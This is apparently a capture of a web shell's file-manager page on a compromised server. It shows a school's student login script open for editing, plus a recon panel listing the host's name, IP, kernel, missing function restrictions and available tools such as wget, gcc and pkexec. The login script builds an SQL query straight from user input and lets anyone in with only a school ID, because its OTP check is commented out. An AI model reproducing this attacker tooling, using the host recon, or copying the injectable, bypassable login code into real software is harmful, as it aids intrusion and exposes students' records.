[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: otp-verify.php
<?php include("../functions.php"); if($_SERVER["REQUEST_METHOD"] == "POST"){ if(!csrf_token_is_valid() || !csrf_token_is_recent()) { $message = "<p class='alert alert-danger text-center ' role='alert'>Token Authentication Failed</p>"; } else { $schoolID = test_input($_POST['schoolID']); $select_school = mysqli_query($new,"SELECT * FROM enrol_details WHERE schoolID = '$schoolID'"); $getID = mysqli_fetch_array($select_school); $schoID = $getID['schoolID']; $indexNo = $getID['index_no']; if (mysqli_num_rows($select_school) > 0) { $_SESSION['index_no78897498'] = $indexNo; $_SESSION['schoolID_no3478897498'] = $schoID; header("Location: dashboard"); exit(); } else { header("Location: index"); exit(); } } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Student login page</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="eliosof" name="author" /> <!-- App favicon --> <!-- <link rel="shortcut icon" href="assets/images/favicon.ico"> --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.1.0-beta.1/css/select2.min.css" rel="stylesheet" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.1.0-beta.1/js/select2.min.js"></script> </head> <body> <style> /* Add this CSS to your stylesheet or within a <style> tag */ body { background-image: url('440.jpg'); /* Replace with your actual image URL */ background-size: cover; /* Cover the entire page */ background-position: center; /* Center the image */ background-repeat: no-repeat; /* Prevent the image from repeating */ height: 100vh; /* Ensure the body takes the full height */ } </style> <div class="row g-0"> <div class="col-xxl-3 col-lg-4 col-md-5 mx-auto"> <div class="auth-full-page-content d-flex p-sm-5 p-4 align-items-center justify-content-center shadow-lg" style="min-height: 100vh; background-color: rgba(255, 255, 255, 0.8); border-radius: 10px;"> <div class="w-100"> <div class="d-flex flex-column h-100 align-items-center text-center"> <!-- <p style="font-size: 15px; font-weight: bold;">ENTER THE OTP SENT YOUR PHONE </p> --> <div class="auth-content my-auto"> <div class="text-center mb-4"> <?php if($message != "") { echo ($message); }?> </div> <form method="POST" class="needs-validation mt-4 pt-2 w-100" novalidate> <?php echo csrf_token_tag(); ?> <div class="mb-3"> <label class="form-label">Enter your school ID</label> <input type="text" class="form-control" name="schoolID" placeholder="Enter your school ID" required> <div class="invalid-feedback"> School ID is required </div> </div> <!--<div class="mb-3"> <label class="form-label">OTP</label> <input type="text" class="form-control" name="otp" placeholder="OTP" required> <div class="invalid-feedback"> OTP is required </div> </div> --> <div class="mb-3"> <button class="btn btn-primary w-100 waves-effect waves-light" type="submit" name="submit">LOGIN</button> </div> <h5 class="mt-3">HELPLINE +233 208 825 287</h5> </form> </div> <div class="mt-4 mt-md-5 text-center"> <p class="mb-0">© <script>document.write(new Date().getFullYear())</script> Powered by BBECAS</p> </div> </div> </div> </div> </div> </div> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <!-- password addon init --> <script src="assets/js/pages/pass-addon.init.js"></script> <script src="assets/js/pages/validation.init.js"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002